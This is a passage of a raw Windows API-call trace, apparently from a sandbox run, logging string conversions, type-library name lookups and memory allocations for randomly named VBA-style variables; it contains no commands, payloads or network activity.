CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_iSQTMbBTwQN") returned 19 [0019.052] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.052] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_iSQTMbBTwQN", lHashVal=0x10db86, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.053] IUnknown:Release (This=0x7919520) returned 0x10 [0019.053] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.053] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_iSQTMbBTwQN", lHashVal=0x10db86, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.053] IUnknown:Release (This=0x7346470) returned 0xb [0019.053] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.053] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_iSQTMbBTwQN", lHashVal=0x10db86, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.053] IUnknown:Release (This=0x7345930) returned 0x7 [0019.053] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.053] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_iSQTMbBTwQN", lHashVal=0x10db86, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.053] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.053] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.053] IUnknown:Release (This=0x7919520) returned 0x10 [0019.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78b1c, cbMultiByte=10, lpWideCharStr=0xd2b24d6, cchWideChar=22 | out: lpWideCharStr="LTvLlRXsbS") returned 10 [0019.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78b36, cbMultiByte=10, lpWideCharStr=0xd2b2920, cchWideChar=22 | out: lpWideCharStr="VbzalvQRuY") returned 10 [0019.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78b4a, cbMultiByte=10, lpWideCharStr=0xd2b2aca, cchWideChar=22 | out: lpWideCharStr="hOCIrwZpSV") returned 10 [0019.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78b5e, cbMultiByte=10, lpWideCharStr=0xd2b2c74, cchWideChar=22 | out: lpWideCharStr="IGiMwdQPXZ") returned 10 [0019.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78b72, cbMultiByte=10, lpWideCharStr=0xd2b2e1e, cchWideChar=22 | out: lpWideCharStr="hTdKAvsZtb") returned 10 [0019.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78b86, cbMultiByte=10, lpWideCharStr=0xd2b2fc8, cchWideChar=22 | out: lpWideCharStr="jrSZWzQnUp") returned 10 [0019.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78b9a, cbMultiByte=10, lpWideCharStr=0xd2b3172, cchWideChar=22 | out: lpWideCharStr="shaGKPwkiH") returned 10 [0019.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78bae, cbMultiByte=10, lpWideCharStr=0xd2b331c, cchWideChar=22 | out: lpWideCharStr="fBuVqNksIv") returned 10 [0019.054] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd2c0000 [0019.055] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SlJhGLZtfN") returned 0x107cc8 [0019.055] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="SlJhGLZtfN" | out: _Dst="SlJhGLZtfN") returned 0x0 [0019.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="SlJhGLZtfN") returned 11 [0019.055] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.055] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="SlJhGLZtfN", lHashVal=0x107cc8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.055] IUnknown:Release (This=0x7919520) returned 0x10 [0019.055] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.055] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_SlJhGLZtfN" | out: _Dst="_B_var_SlJhGLZtfN") returned 0x0 [0019.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_SlJhGLZtfN") returned 18 [0019.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78bcc, cbMultiByte=38, lpWideCharStr=0xd2c17bc, cchWideChar=78 | out: lpWideCharStr="ETqCEittktjdYEkTUQDamjtnScMhR siXcdo") returned 38 [0019.055] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ZkXmU") returned 0x108b58 [0019.055] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="ZkXmU" | out: _Dst="ZkXmU") returned 0x0 [0019.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="ZkXmU") returned 6 [0019.055] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0019.056] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_ZkXmU" | out: _Dst="_B_var_ZkXmU") returned 0x0 [0019.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_ZkXmU") returned 13 [0019.056] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720e0) [0019.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78c0c, cbMultiByte=10, lpWideCharStr=0xd2c2526, cchWideChar=22 | out: lpWideCharStr="DSDQnwmAhi") returned 10 [0019.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78c76, cbMultiByte=10, lpWideCharStr=0xd2c3018, cchWideChar=22 | out: lpWideCharStr="mZUpVSTcRH") returned 10 [0019.056] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd2d0000 [0019.057] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kVZlTXVjRk") returned 0x10f42b [0019.057] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="kVZlTXVjRk" | out: _Dst="kVZlTXVjRk") returned 0x0 [0019.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="kVZlTXVjRk") returned 11 [0019.057] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.057] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_kVZlTXVjRk" | out: _Dst="_B_var_kVZlTXVjRk") returned 0x0 [0019.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_kVZlTXVjRk") returned 18 [0019.057] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd2e0000 [0019.059] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="uRROKRhMtw") returned 0x100631 [0019.059] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="uRROKRhMtw" | out: _Dst="uRROKRhMtw") returned 0x0 [0019.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="uRROKRhMtw") returned 11 [0019.059] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.059] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_uRROKRhMtw" | out: _Dst="_B_var_uRROKRhMtw") returned 0x0 [0019.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_uRROKRhMtw") returned 18 [0019.060] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jmHpcm") returned 0x10b1d8 [0019.060] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="jmHpcm" | out: _Dst="jmHpcm") returned 0x0 [0019.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="jmHpcm") returned 7 [0019.060] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0019.060] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_jmHpcm" | out: _Dst="_B_var_jmHpcm") returned 0x0 [0019.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_jmHpcm") returned 14 [0019.060] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd2f0000 [0019.061] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="uOnvDA") returned 0x109168 [0019.061] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="uOnvDA" | out: _Dst="uOnvDA") returned 0x0 [0019.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="uOnvDA") returned 7 [0019.061] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0019.061] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_uOnvDA" | out: _Dst="_B_var_uOnvDA") returned 0x0 [0019.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_uOnvDA") returned 14 [0019.061] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zkiNszh") returned 0x108625 [0019.061] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="zkiNszh" | out: _Dst="zkiNszh") returned 0x0 [0019.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="zkiNszh") returned 8 [0019.061] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.061] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_zkiNszh" | out: _Dst="_B_var_zkiNszh") returned 0x0 [0019.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_zkiNszh") returned 15 [0019.062] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd300000 [0019.063] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EuVLv") returned 0x10410f [0019.063] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="EuVLv" | out: _Dst="EuVLv") returned 0x0 [0019.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="EuVLv") returned 6 [0019.063] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x79720e0 [0019.063] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_EuVLv" | out: _Dst="_B_var_EuVLv") returned 0x0 [0019.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_EuVLv") returned 13 [0019.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78fb4, cbMultiByte=10, lpWideCharStr=0xd303082, cchWideChar=22 | out: lpWideCharStr="lBFuAUkzVB") returned 10 [0019.063] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd310000 [0019.064] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="HFmrvSAclO") returned 0x10aff4 [0019.064] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="HFmrvSAclO" | out: _Dst="HFmrvSAclO") returned 0x0 [0019.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="HFmrvSAclO") returned 11 [0019.064] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.064] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_HFmrvSAclO" | out: _Dst="_B_var_HFmrvSAclO") returned 0x0 [0019.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_HFmrvSAclO") returned 18 [0019.065] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nKpiRbZUA") returned 0x10abbe [0019.065] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="nKpiRbZUA" | out: _Dst="nKpiRbZUA") returned 0x0 [0019.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="nKpiRbZUA") returned 10 [0019.065] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.065] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_nKpiRbZUA" | out: _Dst="_B_var_nKpiRbZUA") returned 0x0 [0019.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_nKpiRbZUA") returned 17 [0019.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb790a4, cbMultiByte=10, lpWideCharStr=0xd3130d4, cchWideChar=22 | out: lpWideCharStr="vICiiDOjHT") returned 10 [0019.065] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd320000 [0019.066] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pQLrXBk") returned 0x10746a [0019.066] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="pQLrXBk" | out: _Dst="pQLrXBk") returned 0x0 [0019.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="pQLrXBk") returned 8 [0019.066] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.066] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_pQLrXBk" | out: _Dst="_B_var_pQLrXBk") returned 0x0 [0019.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_pQLrXBk") returned 15 [0019.066] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb791d2, cbMultiByte=10, lpWideCharStr=0xd323028, cchWideChar=22 | out: lpWideCharStr="UkrsImICzQ") returned 10 [0019.066] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd330000 [0019.067] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="NVrUvBitSF") returned 0x10e0dc [0019.067] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="NVrUvBitSF" | out: _Dst="NVrUvBitSF") returned 0x0 [0019.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="NVrUvBitSF") returned 11 [0019.067] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.067] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_NVrUvBitSF" | out: _Dst="_B_var_NVrUvBitSF") returned 0x0 [0019.068] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_NVrUvBitSF") returned 18 [0019.068] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd340000 [0019.069] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="oQLcsdsM") returned 0x1071c1 [0019.069] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="oQLcsdsM" | out: _Dst="oQLcsdsM") returned 0x0 [0019.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="oQLcsdsM") returned 9 [0019.069] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0019.069] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_oQLcsdsM" | out: _Dst="_B_var_oQLcsdsM") returned 0x0 [0019.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_oQLcsdsM") returned 16 [0019.069] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pHRiGRObCH") returned 0x10e118 [0019.069] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="pHRiGRObCH" | out: _Dst="pHRiGRObCH") returned 0x0 [0019.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="pHRiGRObCH") returned 11 [0019.069] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.069] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_pHRiGRObCH" | out: _Dst="_B_var_pHRiGRObCH") returned 0x0 [0019.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_pHRiGRObCH") returned 18 [0019.069] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd350000 [0019.070] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="YEHFTaFvCFT") returned 0x107d5c [0019.070] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="YEHFTaFvCFT" | out: _Dst="YEHFTaFvCFT") returned 0x0 [0019.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="YEHFTaFvCFT") returned 12 [0019.070] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.070] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_YEHFTaFvCFT" | out: _Dst="_B_var_YEHFTaFvCFT") returned 0x0 [0019.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_YEHFTaFvCFT") returned 19 [0019.071] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="orRccM") returned 0x10700f [0019.071] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="orRccM" | out: _Dst="orRccM") returned 0x0 [0019.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="orRccM") returned 7 [0019.071] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0019.071] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_orRccM" | out: _Dst="_B_var_orRccM") returned 0x0 [0019.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_orRccM") returned 14 [0019.071] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd360000 [0019.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb79456, cbMultiByte=10, lpWideCharStr=0xd360064, cchWideChar=22 | out: lpWideCharStr="jYZYuCivXq") returned 10 [0019.072] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OwcMTMpz") returned 0x108512 [0019.072] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="OwcMTMpz" | out: _Dst="OwcMTMpz") returned 0x0 [0019.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="OwcMTMpz") returned 9 [0019.072] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0019.072] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_OwcMTMpz" | out: _Dst="_B_var_OwcMTMpz") returned 0x0 [0019.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_OwcMTMpz") returned 16 [0019.072] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720e0) [0019.073] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SUKaGv") returned 0x100eab [0019.073] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="SUKaGv" | out: _Dst="SUKaGv") returned 0x0 [0019.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="SUKaGv") returned 7 [0019.073] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0019.073] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_SUKaGv" | out: _Dst="_B_var_SUKaGv") returned 0x0 [0019.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_SUKaGv") returned 14 [0019.073] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd370000 [0019.075] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ztkRIWDVBh") returned 0x108e4d [0019.075] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="ztkRIWDVBh" | out: _Dst="ztkRIWDVBh") returned 0x0 [0019.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="ztkRIWDVBh") returned 11 [0019.075] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.075] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_ztkRIWDVBh" | out: _Dst="_B_var_ztkRIWDVBh") returned 0x0 [0019.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_ztkRIWDVBh") returned 18 [0019.075] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd380000 [0019.076] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iYSVQDo") returned 0x101704 [0019.077] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="iYSVQDo" | out: _Dst="iYSVQDo") returned 0x0 [0019.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="iYSVQDo") returned 8 [0019.077] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.077] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_iYSVQDo" | out: _Dst="_B_var_iYSVQDo") returned 0x0 [0019.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_iYSVQDo") returned 15 [0019.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7967c, cbMultiByte=10, lpWideCharStr=0xd3821dc, cchWideChar=22 | out: lpWideCharStr="VUIkorXRdz") returned 10 [0019.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7970e, cbMultiByte=10, lpWideCharStr=0xd383022, cchWideChar=22 | out: lpWideCharStr="wrPBONHpjj") returned 10 [0019.077] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd390000 [0019.078] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ZXwOZQsY") returned 0x107789 [0019.078] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="ZXwOZQsY" | out: _Dst="ZXwOZQsY") returned 0x0 [0019.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="ZXwOZQsY") returned 9 [0019.078] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0019.078] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_ZXwOZQsY" | out: _Dst="_B_var_ZXwOZQsY") returned 0x0 [0019.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_ZXwOZQsY") returned 16 [0019.078] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TLksipZ") returned 0x10e7cc [0019.078] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="TLksipZ" | out: _Dst="TLksipZ") returned 0x0 [0019.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="TLksipZ") returned 8 [0019.078] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0019.078] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_TLksipZ" | out: _Dst="_B_var_TLksipZ") returned 0x0 [0019.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_TLksipZ") returned 15 [0019.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7975c, cbMultiByte=10, lpWideCharStr=0xd3921e4, cchWideChar=22 | out: lpWideCharStr="VLPQzWqiPc") returned 10 [0019.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb797ee, 